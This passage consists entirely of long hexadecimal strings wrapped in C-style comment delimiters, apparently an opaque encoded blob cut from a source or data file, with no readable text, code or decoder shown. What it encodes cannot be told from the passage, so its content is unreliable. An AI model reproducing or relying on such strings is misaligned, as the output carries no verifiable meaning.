a51848860d173d8ac5063b86f2672bf0948dbcb45597ffa0375cd374b377e89900dd71cfdbbe5de2a1e4b609d090fab890decf979007f3f1ef0ba6001e7c566541c7beb9816e6433d93a3c882fbba5a10e27340e17dfdcf1d3d840877*/
/*32602e9188e3dbfdd3b75ac30ce97699385e3840630e403a3a4706ef8c3aa124723393d72345672ccbe7ae93b714bf4f041e0099255350fe9c2a24d0694a3aec5577ed62461dbd07bc6d004999a196a2e647784fc9f0a76199ad6060007d9d2dab20e66025f0c5f11ba04648a6faa1f15127b11b6d969d19473e2644b0586e800981437b70d514b222a8f0f6fa70b049306ead5204ba27f81c9e99400b26fd66b41f8731314ba51957f0200edb868ebfe8fed899ad80883c9972163b26d9b15a9208d1c351b3308f665eea0510e249a17a1016a65673a988d2d79c11ff0121e997476fcc916c6c8a275d8ad88abb20e48df8f921fe30661c4dabee0972cca754450de2f93f4e8471407f26f89f622dfd1969a9ed8b7d0b89f446ffa2976136ac0c2f7cdaa6e4bdc2fa7c74c6d8b32b473dc3d8670883189dc6915323c968bd66ccff4fc941563d0c932adba517bc0067fcfb26c98acc1ecf5b5009762fe808541791025feab3a04b8e3846028c05a6691b4e60858731095afec962a25560f9603840d39789bcc0fbd23bff9d6ad7df3f1ff424d8329de2c7a842ce8fd1250a779ae002dcd0524c517af38db200be5f474cdcddd97ab9f1214f4299316b13ecdecb7d05748bd3deb45346ddf14acc4060403dc10e094056fe7577d61fc2cfb8e38fc108e6f41d268c873446639705db4483d5a856ba5cf9b496669e5d5065a6effd4cd33900d98aa59f082684aa9f6cca2b0ad35805f92df103412435187066658f2a04c4d17b4d32dd38edb3cb1c69250a6b7d2ca5a8580aef0b606d79ed956f3323b44288d10c05e064206563e2832164f01172d869d9da50891a463d1988ae868e48b886c9c6dd27e1b78be255cac4f4a4704182aa1e07220b6a6cf9f971a352021f707cdfb919df077d554072143208a718eafd919c694e442ee52e00e952489a9149c6073c4b94a4433f49affa0fe45b022cf02c38fe2285e46fe70bb44278920d61b498ce0218cd1c6d3d939163334a17a73a172d767ee777db7e06b2c2bcee74a6fa04254908b78310a884d303f1f282c0c9d504bdc0eaf20a2fa45ff8fc888042b5c232bab60e5c7e60bd180b08f93afba9abb893f26b62ae389438701e8cb34e5f2d1b4de88a65a62e8e40f116b8542d81bd3349bc246c984adc8e827125a6c06960e512e56e32325d2425d4a87cc95e022f3616803b3de9ef41d2e27bbab3b27253cc00ade0bdfbd0c5ceaa2ff08c4b5341691b2ec511c7f801bbd902773f1780c07a71f859fb1aa6a8f29e884237c5dfd5163380481713f5c6d263fff3db2fa71e6a0aa318baaf810f43a02203eb48d38caa5ecd9c86bea700d502ccdaaf4db41055c47165cec5ffa2eeae100dfa17defe5f9c7b9c724e5cd30e2d7f9911a856344a5c0e2e450c6090d0f047d41f95f3acdde9f48588fb2229447bd18b658fa6023f302334047c5fb137c32666a6abe09ce55c42ccdce538cb9172142ab16968645aa7cf4bcbc14119b7aad2a1360f3a50dd92c985588256073cb7eb7db2c0fbed3faa590074b671247ed3550bc71e02ad85cf8d8c725ca617037df5c8092e3cb7b4f52b2d727e68227403c0248979987e3e3915b999707fb517c947c03a0fc25a1a964eb38225dd3b07473e89396e6f158c3481f5325fcf2b113be6a13c929f6cdb2de27be18eb93f8ffe055cf8aaa98a097d6696551474722a76c6e07375e626b880792bc9f2710c814941c8e2b772a7bcb616d6f41ba257db95e203248109c0384066a06a7d6ff4e8ada64f79b6fd1b19acf61b529fe0de8286ecb5a9e1911c532cf6d49bed22a6a25b982338fa33a46d314a753993b25991cdb6f9057f5b16cdbffe1e2b9c7efc7e23dd51a0f39d6e940f103eed1c3ebb6825b29de2a17ff18411cfb9d738a3a248392f4337400d02a6b36510cd59f2a200b779cc7b45943bc664d96c0d9a17c20337d819cfc67acc5feb0e0a74be019aa0485d7495f4b9a147ab69c7527e312d6d5a039391b2930f972ba458563bf2583fbcdbd21e715d39e646aab291805ce8b696b4262cb4efe706abb6f8bcef7cd221199b4de02569e64a2dbe54cdee8000fd49203cd00b71825a88147694135329df392cee3a731976d2ceeb936fae6122cdcb13b92234d4bcc71733d028b3c6fc96ac672641eb5bd0456c3c6f1faea647b8e18411c1af6f678ec1b27ce117ced657cc645a2a27bf932a6bba995bbc9c0a8eb7f8f39d26f91795d3b8c8af24bfc1491b0da559ef096c8068c25a8efa3251edf7b2fbadc3e2c38458e0e9321857348440943ec22bebb531ce38a1962b7731340148302d1ab98f01b6f8fe99cc5ed53b53ddf42793d60d4a22f1cbd1a2e3bf8924cc39602c8a2a4499be2aec9361f9f473bb7cc679a4db80d63c254f26dd6553bc51685ece4d5b222e7a9763007bbfa4879c11357cdb6782d248b960a3e98a9ae8caccb3a0539e83a74faf5b5b41988ef886ff3b8d298b1244c02fbef2249e21ce7e7301dbdf631d71084160a6c8f68c23bbb25359b3c86c8cfe3b9ef6430b08f142ebf427939c9aa2ddd1d32fd675697f99a71034999869727c0904214f5031e0a98c69444e51786434d8336579492bdc5228594e73cbc0be82353613f69484c4ae9130b456d1959905976ea5b29daed6e7d40d1577e417eda6675e95f300f69e9536782da6651826fb509c80abf879a2377236e10b44edbadfe7fa8bb8343dfc07eae4901ab7ac65284dc91ad891b2ec6dd16be9c60bb76f5d0187fd2352ed7137beaeaaa0cf00dbe4f9f442242c311c64d1dc11f5760366ef64a835fcd2b715*/
/*fff93c68ca040e682b734dd4c06c8aa55c4a1d9d11950e3c7aef0efe04e8811ac5005cb09ab49ab5ee3eaa6cf28689b9aac13b6a0353ff72f2549637d5a49b3f644e8687927d1adc168dea00c77f87c04f348e8ed7f6fb110dce6e251ec37c45bc017b7828461d49fd96970442addd2ce62ed85930a0a02a61016c7ebd341df3f6a1b6233f4152d226537690b2a2a4332ae38af3b11eccc42ae81eeaf092038baedef882f3a689c4cea43590157cb20c78a4416ef146ed61320e4c687de7816639a4a94c4d0c5a6d22d7fee1e1e2e9e4403720755c7f81fc848d21acde2453422b61709478a42258f2d468c0411a1d48be7a9fe8d2b5bb9af2818541545a64268968625cd5268c57d6f8d8bef6f0b9d67e039c58a479142d617cf0bc5ce6034ec1c2e9b83fc449c59c28e739d24846f9e6aee6d3ec852287b4fc012f7f4415b378c94b038b7d1eb27e7a1d1209e326f4ad998be60796d6c531e6b85cd2fe1a5a8838975cc379a57f86f79d43f68f31ccf771caf211bfa39f51ab42d6ce7d7d366d001d59523bb8d8e8b2a46f4949e9f8cc350ea85d94303b286c401d28c090efcbd63281a06f720e33b81649f30382fcf7399aca2250ef90ff4b83c92d1046cca52a67806bd08e220a550e4c689d53a0abf4c750e65760ee0cb1d8fe6a346035dc26266220df3e01aa210ac5e1ae52913d6c30c54332296bf48b6c01191d5df99e2c3d9d9329c8acb6ef13bda0893d0279c6a431901cd49fef100da8deb97ce7ca57a4cc1a77c37c36efa363d5a623c75dd5ffa94d5b319f96b6c7ff3ead693ba3e6d956a8b189185d18162b6db4a325118d2ec57de66920206ab9085d2fe6dae063ff282fbb5170841aae56b6a3ed0d1497051c612f57bc83fa502b17e48cd3c1cb4872e14732c4b97708c6d241ecba6bb1b1df2ee3c956b48be162b59e817c683c15820eca75b2825ea51cd0c925b8c6c7f12ae68bfe36d051221d6d3cd6812738b70e7360cbbcdb6cd68b1ba86fda7e1dc40584c782b83c792296be5c97e09d1601105b6a17f2ad1096d4f88540f8a774d035b27051c6a9fa79956c166364151cfc38a5460fdeb4a5406ae78aa9ade515b09d71ad432c74b41c5e18e234a4aae512987f23b4be538ea95194e6b0d4578792c9cc874c1e955e8bf0fff3adca2d6ce4fbde4d7e5a4056109f580c3377e0804c9c7d198da45b11dc288bb49382cf24c1650988151f3bd837ca22763142ffd893a9ec0362471c076e402374d7b44f1cd81561ea4bbe41eb96b68bf29b41beb71d4969cf25d38110c31c9337994ad6ded4c1aaca292853160913a7fc36115accd5677fcc519710dadff37f494c802c45e898a6fad84ed59af2de5bf8294020c4ef12c7ba23e4101a3543980dbd4e04d677dd3390ec35c5fd4a5e417fd327409370e2ad0e6b7b7c792e44f5ac1a3baa9a1ac33b584469d29a3f4283968a5635b296c2794c68aacc6f474b40a73319e601523fca731e12b22063407106e9a20302d8eaaeb60cd88f860b9a80fd76664283492d65013954707946f0f3170cb10bc33ba831ce0d6e894d50f8726754b26c186e427cd47f188ac23a6976e01f8b84c221c47cae5159f27d9428e87553ba28878cf09f287ed6712015e6dd5ee7f3f26f5957398fb8f985cb1fe183f9d58d1e593a9135e2d45df4ab757e45816ecdebb686d087be26beba4d1ef7121b9d96cdd6435d88c800671623c3ff35d2a04a7cf007015bad5abbecdc600878b0cd8e65d5f1d080164138c80e46c321d4abc66cbcbd0c96d67e475e4762c5a108d4d7c0dbd9573f0e4a6ddfdb45b0d10ac04de206dcbafa19e2665dbff44f77beda6d8a5e2a18653287a412f33b9e7b178b5e008f36f334118a8d2f0406e4d247126b8f2a6dc34d37d782f406e7797a218bc73a4f6ef37316ed4a62ddb5e01d16dea1430111be8a1a4fcef400747902055215569ec5babff14b79393d247b77edd384d2dc7fd94efbe2d8363501936426e6cd26e840ab9bb59922ba7f7a4e63b0d02b1b911114d3ec52854b458328917a239702d87f497a00e4840014e214ace4935c65446a3aef85788123f615bf6b0838385cf16b8c687d32e5a156b759ea0b327e2e28cc06d2b25fead92f915e89e760b9dd45a1a87e5fa54a4e3fa6c64b623e7709b28c135f296d3a7263f92c590b1fd8857c5f644a8f08de773ef6ca8dba6e071cca7327cb72f4b68760d719f62f23b536b8c770f24f24db132000547fc5aa93304261b539b3688be715ac2b007307add045b96a122500f3a09f795dc0ca3b538cb31411b29500e1df5d549737773bbe579693cac15cc38162c270bebbe3fd2467fd76a7840494608516e6e840aaefcb0c98d31b3bf28602c458f28dbc7f93c5bcb033796199f009be9912c19c1e51b429b7b760ff1afa256882100466f3de4593278c9701154000e614d77f8ad2a61120ae4849cc3f6f497fa6b4768ee5e35adae7057784c6b9930cd676b5dd148b89018e7eb4f01101f5a2e1feb069e2951cad867c699b806e466487de7e4ae23f8ad02a858b7c4266e80008be978dfcaf8e087c045ac32cc74cc07fde977b114b13f4f33678699246f97f22adbcdc9e68d013b00f5324380e20cacb32c29052392d1ae286681eb53461e616d7fb653a9c3eb45dea02dbf4c423a1cec1ab8ad34f8e0edb710b8b96bbe9d7877f76516286b621c3a0b12d6952a4e1e2b2210a1fb08e8e4b4d58d868359ba359cd5327dbc708033e0b6945474f522afa5184b64ad2dc8dd67744be2938cfbe2132638a9ddad38f56b9c344dbe5d9b5d0c3aaeb3fc32c*/
/*03ca410169d105925b8cdee662037f49b6de71a30983507e6fbca47aa72863d32e374eaddadecab56ed3964dfde10beba09e01cd6717938c0c1572e55cbb2a60b627b9bf6f151d6d377b7eb32d81f7028cd10700ba6a5d492116f7f29dba6530fddc010ac8dedf4fcf04c767084548fc2c2e78462ad747b6db1596ed81da1d6269ba332dc5262f0d2e00f7dc37afa5d44fe26c45be09833a5154b16bed13eef298c244184117390c7dee633c39d23e1b63ddb9b25e3898b5ed59afc8a054866713cabe746fbb3ad504ed34e7d0670fc3a3a68ba2f48c6df77454cfcf395c751bd280951c8e9d29af59251d7e9cfe8c177ddda1a28a6e404890e629e90e8bff71b87b44b307f0e98eac622e088892c550de7f0c3dd22ac3984958cc8fe7210823b26b9ce4e92ae23578996c524f5755c00dc8b7f28bf5daf45536fcff75be90855b58cea385a703e5694b78cf9a8b8c863a9e9e12baddd1506a4694b781cb898f32ea047e9dfd44f68d939e43d0f3456c4c117bb6a346ec92025032cc676b3f178508739b3918a3147a6c150f95aa37dfe422c3e946cafa45b30b8d5bb02ec454d2a775b7e68a1b7cb556158b56f67f15004c56f85376838b289359daa80af6fe9389a72538bb2f970da5bcfa86394b46cc3ed54c0fe6629517c2468c2a14d266f8a8b150d8148c7fa12f92d6044155f3ec24f8a4c330c9423b9fdf469c16e8d021dbb1bef9f20463862e9a58308b2b1d5c237150cf2e2f0e49b4e87e12222762ad45e63c54c653d4b968bbac7a7ecba9ff80f064fbc68ea077c55d137c47dfbd885843818afd782ea173feff4bcb2753b215dd00d63320bff8ccb755062583ddd4796c4bdeceec65102a6bc5028ad026e9a88724190ec8eb23aa5b0627434613621c0863af4ce2851e3ff5720cf9eb385fec16ff60e8a9d583cf405ddc605290d57bdc5c853c0ba90fc1d2204d1f24bc52f13610d3f141f1e5a35f5ef84c79d0a3c13119f050bdf13288608a81d7b5aaa857aeeef2b212d3432767baa4a5456da4fd66752e9083e3a4e18b515ac2665413856785a96a8f0199942af3def14d068fc495e147d7d075c948da7518fc177d8083f1e85bcc6950ea71224c20dd006cb7786fd171d8f9b53c728914ed0f877d963df18ba92484812636e96d28c3c505cdc34b363233a840d92d7e13e08e43a91ea46fa08c1075ebabb74601c943d8fdefe4036eb0093e5e4d4bef99f4f55a631cbe03fa045a32e5e7782222571b2a108b73e7157b146330632e686dc9f213b438a655c5632fabc6d53aee5b7f8482ee4f4b5e5d6c53be7b2d3b2b19037460cb271b3d96d689ddb06c2eb73eec1abbfa4f9c8f2df1a6b0935db0470eabebe1d9ebebfc842b722356f1c3caf00c2925d960b3a22c2836c0b5d63b3b9370e6a724f2d1a4256f23c4be59b17c4f1e7075825fc52f11790605f6795c5a16e24171c3c09411ef2ef735f360cea384526af6f10db560706d17b9af426f5560451285ddd2b11d90be030d8c88367879f5b6a431948647ab66d50735f2a4e86a92435d561826266b723ad5ed5bfe703f94b6a82d17b443769b22c27b78eee8300c2bf221e0a1a27c5fd1aa0b54e2a0b665309931d24e5d77335f39741a6b7ebf4c0c40dd7b96525b6582596748e8d28dc3858e799a3204eb102bad79cc5d859fca0bd29236578466a4e26183544d6a71debea7d9c35758205da34ca53f05476ba6f6db0e0ac293e0e919e41c9d008f37317567820e5cc53450f63f1eee6ec67b973303bd18efa292fc078426cee4642707233e2aaae0bd4a71572d3a29f6802405ee1919c5407e87cb8479f13b357b01501e575fb19f67f6b1a0aae26713d729e42eb52c042c75247e3881dd3c41e85675a3a6e54109a22cbb1a82e80b10e12651865f34f79509c8dbffa0ec427e779ffffd6faa1390b4646d6d2ffd041ce511143f4487d11d163a7f39020496db31b5795af8a9b296014ef2cca7dbd6bc0eb2093da4ff2e6f01180f7ebdb7eb6222bac0f9e3ccd9d7959f85dca66d03452fee14bb54b0d15a2726842c551333f54316276ceced205ca9b126569f0d19561050b689a080360435e8d69b6dd33e6e2954fa886008c9686d03584f6e766cec1547069aa7db7cafd7ca76370c68024e3b70fed0f8a0c5ebf646b2d522474aba5e6d6569fcb87b896e3577d1c7c62a97f99ef3b015a905de206a7fa95f8ae843165470a83afa8bce81259e18af273a7363523acb83c1739fbe3114dc83a485140e8fc5b45a3f79db6de1340019f318aa67784c19c1ad0b41f8a965ec858ec33eb292f4278cbec2bd56895544c9d5dfe91d09beddd4fb644735824e8b1d02de295423f2ddbc0824b13d9a9516b29e0d157c89e02d26df9d94ec15a2e06e526f547b5d8d2db73f30ab0ed1e5f206686b5855bf6038483447d4fa9f9e80ad3e02bfd19fd5734616a902141c8872a8df8894a458d189b177f131ff426c905ab42e02c6712f0852cf8129a46dc21590161aee4d66505239943947990f2543b197e0327e4e01229886811e60e224cf9cdb7219b1eb760882204106fc4a6f9e2cf1f4c640730d9a7e9ee2f428ca4e3825e78d144d59822ed30488d8f0ad8c2fb47fd83eeb106b3ec6c0db1860c5fd8ee94025ad3724e66c512695cddc47ba60a3e4fbbd6a76a356c34b5c2f344c0c7dace834975d28581d4b39192d5caad3a6cc1e961550357fecb467063dc5972425d9946adf3ab28ee29a67ea8bdb871ac0964c41c7346c5eab6d567fb753390fe2d982de76a34bfda281ada9c4c93a3df174c1338f542d5cfcf050*/
/*0f73affceba1c646354d173823a4877d33685f8f7f73e1b9e0b379d8feab824d46a4134f270f2e815182369cd70f58b538078a15e2fbeba97edbeb290aefa54edcf1c6701e8604a69b25f2385c156dc587509de825e62e185443df5bb7473a6748d2b972c8b181073f9598daae9e73d1e0100e147599881a31aff8b1b32ee2a533cc5f7eb9b1e3542e154d879b18db3fa3becff42fbe09ad48ef66e99b533934f5af63c3b241dc387c9e5d051db82ce29ad617cf7d1d30192bacf2066b890ae9bced6fe89eb449063c2be1b038cc83bdb2673273ea81a906b74a21fedee67c46c7f713946a0efb842f2f726e7dad30f99bfab0033059701e21411e81fa0e3e5aab42e7e9888501d1f87c94c15774b24ca5c988781025832fb00b803f24adfdbb5c31fe4ee9816c907679920df407ddde1aec72faf22f34635ca339bfe177ac8609949d9851b1a9f1ebb9187b47689cc07d70077d4621bfcd0cde8b92f39628a50e42d14c9fc37fd3a302ac03c39b375bab91223da46cd82f27c4a265a473431e3fe07f8e81820d31fc45f3639b59fed906dcc69f28c9b4670f8253c79602e2a2262262ab7cf6be3e6147db23df19dbb1596e54bf627d3ed5db6dac08b017d3560f22e4fd00496b8dbf5c906c4c4420a20319260f4d0464dd4b82fef2fe7753f5ee9aceab8a9a2a8f7400309ca9b10bb70f9571fb3c4c4c364e896c3a35d3352557bcc6ad47637671c0d0ae0367389e30d75ee3b92e8f7687b20a709cba21fd36ad883190c63d4ae0739b9375e6c7b8b60e717204efd73e8bdc374c930a644e865413dcb97b74244025c8b209ee43b19dc4a947c2d3c759866e9048e13a84f1892812fdcdd4dc384a5d0e5cea2fcd31f53c0106251981bb76d9c6463379089ec464814e3c0cb9c720212feb9d66637cc39a7ce28d22a1c49148caf9902454794b2e8b76f5fa6d41fe4d7b2bb8f5489125a7b8c146e70bd521c96e167e387db1398654a2b5875eaa08ddc4922d191699f48cb905ecc82642ec8c1c0f56a0137873fcd0d475d974eb0ba109d3f5cd3362d1ccd0e95d2630ad115fb573c962823d6044194b0c924a64b27644e0a65c868c86658a35e4c27ec93c4ddd32e27a884e3f534dc4b3272d375b626eb4e84f1be76c9fe303bab0df75169afebdfb7c62e45d4b1899fcce022445bde5a60704d093bca1226b4668185151066fd48921a762d80e7019cb787ca31ba86c2714c41702744e5609555a76d6e9867969685e02b2d02d3c159da13eae71d7b4d1bde23a126ee9494f686b0b404a22a43f7b4320632c7b45a99b940c5f08fe021f8a87ba193faafd44d2f273c68c8694f30d683e64c8564346cc6605284883ffdf648b73ba967bab19b78bb3c531157e3417903ebe0d6cb6e34a8556bae645b8a79f0e8dd26c160150c7f34067c4bef7539c3b3ea33791a1ab0e272b1cf1e85e557f7c5d47ea537dcf3970bea1bbdb0100ca773bceba6ef951378b502a46b1a8b5c904dd31902f6e3059849b93bd010fcf7d3e3ae5519faadce00474a11becd897a2a9a8b602aac74c989950129cd7920ba9d21930b662212c9252dd3842b52298236f6b56c4707e1facd99384b77883d445304db89d5af27f765d3a844f1675d8951e0e2f78e4717d53dcbded9fe9e5b7bcc0f3cd5897b8b9826162077563087da4584cc55a766e413ac787d6fc0062914ef6ffac6c7506f927104b647156fdb6ab5896895f7f265aa0827f5ed60c0326077e165323a9f6447b9622c1736b2bcebe1ff2e0c6da68d2707ac15a102276f9b29381ca54fab1466969553eff578a53791ee4e4206f6e650274265e8ef63ac58f83e851a68f4e13fd79d8dc54df9d0fec2cb5f68116cdb94c7037a83ce2e91efb455cca4a41c10a0c91e3c36edb14d877e535b8fa59ee2bca49aba185cd80d09cb57845f10eb24a13017361c1113eb041f19c2eabd117ea8c20226c8cd96332cabb6270855640dfacad6739cae1615fac7c69f7f41760f16f6fa104036e095b0f7d2a9c2b6ac416538382fa7fb30267c85c825c5ce94d148aa75b30badb36757a8874d4130ea0a6f4aa7c8fde1e3d0920a3610ead0f5353c0e5c08d794b4418dc9cb10c6b4932e7189bf77e609bae2fedde1b0dd25d786ae86837f902949c5130fd212e1a8d5004065980d76c89b7d57356d1d6262cf0c4d8cc61f630b9f21bdad704bb3875bb3e5cec2d2d1313728e0c69d771b65ccf4804531a994b77b3e5bcb0cca0c45a84756df57b30f504e5bdad1e33cba1450343ee32ad3828a8ed51ebcf7e04eecbe0af22f354cf248057053992059761a6b63ec57074049c18e6e4fe4d2ddd0a1266b3f9ddf0d87765cc4f6bd8dfc9e570a45f76e63fbe5b0067e6a321a184149c28cdddc41833af778c6b4916b33e3e361389802fdda516a6889fd77e292b1a8d49257b6d99662316511e2986780e5aac8fbc60876ce04120d92facdcab1ac8e1d23a9720b61c80c522943a374057d5e06948cfe17324f7b49454bb6dcbd265473d4927716ceecafd55cf2da71be2e7ec76344952c54070fe3036abf8fe00d3b4eab6093bd6f1722f421e80bb746f3bd20bee767e86cdfd364b94c7de087973c70698cbea5e172cf16496e9a9c25174ecf39c86115818f32beca45d94d7554d065778ad50846d6861bb7bb1560a4e5aec842a4c916a8f63eab225cfc8db551fce5587371ba30d7638a22e33273c8d4f8ed1e07a7c90d28fb4289904b4cb71b2cbe77efbc442826303ea97a2a4e23dea4d01ece3117438b9606b4933971ce02babaa273732b716bfe681214137c4f9dc*/
/*8b7a34fba6205855b4d564d333e87bed9b504476dec12cffe904f65610241a9f97d399ecc5a940ed189a5a469042329d942a675f057f11c00132f26eee0382f31de24c00e006306a25b898dd44a944d6caec7d620cd4d5ef302c65ce1e021c6c13bfaaccb1fc46f27329a418ba08e2362996286a4e9e840334ca3390c7512fffcc1c576ea8ec6dbdc4d427a76877e66fef62e873380649efe375b01d199b72aad4a51397b9c268857771eb584bd2d0c94211afa836675a237bfc5b65aaef934f9dac21cd9a49195867bf23c77735b9a025f9ff24ea8f825648b9d75eb9081ae13a82c03b3c1ace85697196d9b9ca096eb8cdae0f2a3d46d31fc546a34ac9589e6cd6d51451c252784d7899fb57111b884249472a26c40fd0d76a854c09374b2a9b2af4f2b5bb0e41db09b8161a89f2cc170979868b231580cbb2882b7b9eff8006b7a70cd6604d1a609f8c7ce2756be4e3807afd2847a29ea0fc2fc8e4bfa12fa179380e2d4e4fe43d91e2765570b0e16bef1a5b58ea8a9debfd1788c4336279ee12837821aced00d15bff88a654cad22f83d1632a7b9654015373b860302b5695b36b9ffa1c122afda3ee666a64d9a9b06b6924d433bff7896e6b1c944d7502a923596ccd1b1a2667a9a4fab4db2cee8305ed4a5947e6ff0349339a0c06281c05ffa84ec058f861c88b8a5140cde58156012c6b0e9ac414d55c1272549387e83d17a98c2b27343d3dea7aec078b5592f26e86330318bfd920593943c5b545143794219b3bacc25e7d5f5cbbc4d6fbeca80950ae5bac5835e4f76fe3db7ef9db5dd8be95e0fc3bcd1feccdab1cb2d633351fa4d7c8af49d57fed4bc8c8ab2009af19c182702bb77e6e6bd5f07d8f92a630f8f60c8f2fca5d5958f7e6ba75f6927dba42255f04669b6d0b6761a71829543241cec09ee274f5685c9046e927f4df4ba561a8587fc70cbcfaf89e7e2f512171173d1a07e57d23c06aa1bf9c9379409ae3a78d0fbc98eb76d4013dbd8e94579f82efd791bdef14ce112061400469d85f8893980bceb05110c156a697818f83b2d72c16266ace45985151f1f74f8fd2bdd214b7ddb60e3fe3e8d5b84012b480acf5f7d2249888238be1e53733ed0efa78b7da91d6a8717f0c5d0886b95697f1317e0ecd5de593f17964f70b3009df2366ed2b1646e76653b841d8400ffee8dd677da017f815503de5a6f435508c20c9ca99492b058402853e5849dbc379d4dde8e6790ae4515e82958a89235e081fbb9476a5a1c7baa3282243435ae4298d97604765ee64e85876ffebc85c13d2a83263a5bdd7294165ee57a47919e2e601be24b1da6761197daa7f3350c93c329cdc94d84ab687175fd03768767c7532354eab183499a6891797da32cde62177a30a5edefb71ee2f7602827e6e1f24eb75675941f8aa32f613ee832eccf9a02efef7713d843a182d888899cee1dc7696e08d4506860a7a2632ae9bfcc6e6ba4f4fb6288c4e4aeba8415f7fbfd89eb5b37943c22882f33a1c5d6bd69d5b1a1090d74b339f24394274cc1a7dd1031d0820d9445d319193b5bb0552e895ca741f36ee04d2999e5800a84d100e22bda4a5e82c8613cdded69c2ea53f4f423ce106834c49c6ce87a0b22c047a3c49c005fb64cf2fa85033189426e9a0b2858588ec0f8380458cc2907cb04bea4d7fe22fd4e45e1db5b5e7ddb9395705bd9bf95d53ac1c4862e654a3feb670d2bd22e02aa81f5d33dcd11a67a0efb6b2f1609d57de3e5d9b7d838c93f217a54c588cc17739672e7a13281eb552b2a8ba35daeede26e3870f3781dad483ff57d20730c18bb2c860076fed7058a22e1ba3450e9d5f72b5c82e0e6d42ba71ffb2ee82dba33300a7aac4084e16ddfb134666ca0f03e589f4ae91dff3c986621cbb551b1a4e5a6059456abeb2635e69183a961c937c290a1f61f864d4304c4601c4ed6cce1d2b5a12c30c79d01fd43d8f91523a8a390d6d721a5dacc4c441115b45d6f8ce3420289d6d302ade168ec59444da01136747d5ea5e53effea58f07adc6154fe3fa72f105eb26bf3e49bbdd2f5ea9b9f4ef9765b035a6b53ad052332e016d2f6aa8de8857c6c2b98cf77d40c7a3167dde5d21f7a97f4aa0d90c8f5c515e62898ca1a3a6aa82d2abb78c3897930b33bb75214bfb70070f6e5628eb12f3150eec40974184ebfb9837cd909993743b8f89c6d2ec09ba1fbcb82fd75896b389dbc0423d3583b2d440667f1243f7e97a9882a71500d8cf08735cfefd2fe8c11c12805150d46cc369f9cf70ad62d8e7c11b35de9187dcfdd2b1f43138eca74bfffc45acc7e41a54244d9261b3f47d4cfdbb661fbd738ffa0e56fb0d01d8b27a49b322ba3c1b54d273185829c93c35196ff0c8e8608e9141be81601a14fd16a5df3e64f5bbc579b8554ce9502ff7291d737ee6fc10560f25d9f985767fd831c05a49eebc574fc943c2657ffede5fb47a57fd048f0c5cf20833043328c69690b4cdcdd9b8798c996096cd68ff486031b972020dc3b09702c49a086ee8cd3484209c6a3d20bc71adce4c91a1746819e6e2cf3e704bc1ccaae12441b52fef20e64c0e79a5a4c20e83038740f83773496c6ad528727608572e1f582e18cd64473174a95ec411d97ae9cad91575a4e1ee5a02c6d9cdb97ae2e192726e00ba0c7c27864276e1cf2a296e0ded942e6fe6c2234cf4eae097871184272cd6132fe2b61f4712ad3c62b42ccca8ce69f180ad11979cc9ee25f681e8f3cf0be44565b64bca7f6a1ae8d800942a8e34a8b9277d3878f007037d6da473f683933f0ab7b12a516a63355b67220696902d7a*/
/*cf2cdf1daefc2bdef87a053a7c220f4c1c2c09cb5b9e392d1fe57f0d16006981b77e4e86bde2efbc59bfdfe813c97ddbcb552a34989c4e79793a216eef167250347cacbfa07c3b90f06683f27a1130919678ce0feeca0227e66ee3a962146f16744f5ce2818aa3bfe21b2d747a8438b829ac1e31dc0f482b5a5793d97258af668e553dee50582cf70bcc7be82f872bba7af07f2dec38d8b475a5e85d23651d39b18983fb7988a3bce30ae9af50dc50546442214b3f3b2d086cbdc7905e1537d80e8a51d905bf1c5cdc60e59a6aa2a00924f873c3756331e14d3792a4cfdd4557a90a5774af05cf374a0dededb06e6c5fb9d14e861e1fb1959d45aab4d088dc6c312c9741e7bf7d0c9fa6cce82da22dd758a7b3f818928c3c2dadc78d398cdd9d1f84933a41f85837eaa4e8131902c5a3779659a689a1af901f63c1f63f14d13c5911245dc7f6bff7371a97115b0a26eb423693507c19c92df942db67d754b98c8509885e102c0d9b0e8fa7a8fd3c1e21bb1f1fa8a3a5f3b66f0e8e99ff73a584a7da8f72547f498ab15bbfa8bfa06dace7f74171b9b6c6c058ef71bbfaac2202ba10660be457449f935398f5888e60bf7a0ebce50a5fa801f8f3eadda96a80ccee1a9c72dfe5f0e2b7df13c72869d8526c412598fe6fffddf63aec0b290d30c0a75c06ba728edb7a1a812c97fcb1ccbb4a550baef33a7d349824529404b455d2a08e59cbaeab6db0a13a493342c1fb98ea6a91b49584ff86ae094bca76bc76020571cd7df324178228a11fa3863aa38ddb614482fba647343a8c5557b8e07016158db16bb237728c9c4e6cecca11025d64bb1ee4ef05ad844fd617c367b45b693ad5112d34b82554e5bd2d5125c56a9f71e9a655dc03fd143ba3c1307bdcc373886617d656dff17ffe4ea78ac24bb93941141ea638d45bba38c644be62bf52a98e49b420af491c230eb76215c932964ab5e53df9cfd08e372107a92134054da06426f72fad312a58ffdd2c88fdb07cdb0b5aa2ffaef665c973d8b066e96241765064fc185fd1e7ff21f5354622912d1f3c25bd91be3baf30dc2e56b7b800ddbeaea59fc3336051239e320ee2450059b66e51c855227db4e3f0872faf71e6e5b54dd6d4f90c6b050b88647e0a384cf8cfc6e9f30860212e600775ff58ee9b20bdc073168bff9043bfa68f5d882805ee5ad6084abe37203a2281729a2b0c8b1d0ba28dc1f68483f135372147d724dd00a865435f25ffb96312479e21a498c8f38977cfe8b7137ea03c3fc48d6efade68125b8e458955be0b9197075f5951a1bb4c9846ac2869ee08180aa8f2e14d17f2d59ea1d782d87cf48e3372921f43f09f3bba92d36d322d067cb0053aea382f87338f31e9023d9d6e5a244b5304c98135b7e87f0a0a9a624a119f4428e49b0a8b44213ae47a3cba9cbcce119ec580e04d07cead6b0c9d56ad40e265b1c683257c98200e666e59c21f2089552977d1be61aedfdf2afe01d474b40cd5bf2b281441162c588d609cd2ca6df9b90cb263750d756525da147fe9d5de892f640fd1a8127486e10d6dfb079385c26e6e6808707d6122440e89f21e7e6fe21f59ae3fd2f4ed8cea25c95384de2ded64be49e9b5be97de9eca0a86c4018a852ad89bc3374ee42c6c72474c0ee084933996125df6815fd3f560ab78dbca07c96b42702a6f914023ef0758c25c6dd4a6507e9075a5f6679139d4ed979643ed04dc283bef14a75af4b04d82cf3caeeac3dd89fdf4173431e781d858208861e1369c238ff0cdb4d0401bd395d080acd7ce01c10eb73f4c67b7267cc4d9d1ff6f117a9512e095be2f30a7c884deafbb38f7f52a6b4a18cb709bb84dc1503443289e8a6185cb1007125a150cfb0d5f25ea38fbc9ff62d95ad8cabd49dfa5da658bbaca66d187b60d21d839ef0249beb4cf1112917eafd8ddd9ccbba950f8a492c63de9503e6e818a12551a64dc57820c7dbbd2ddef283c8d59be7693063db2996db0157d4051e1771ed32d5b7ff3eb00cc6d55af2eef099bb05d67a3d79910f440311d6786aeb1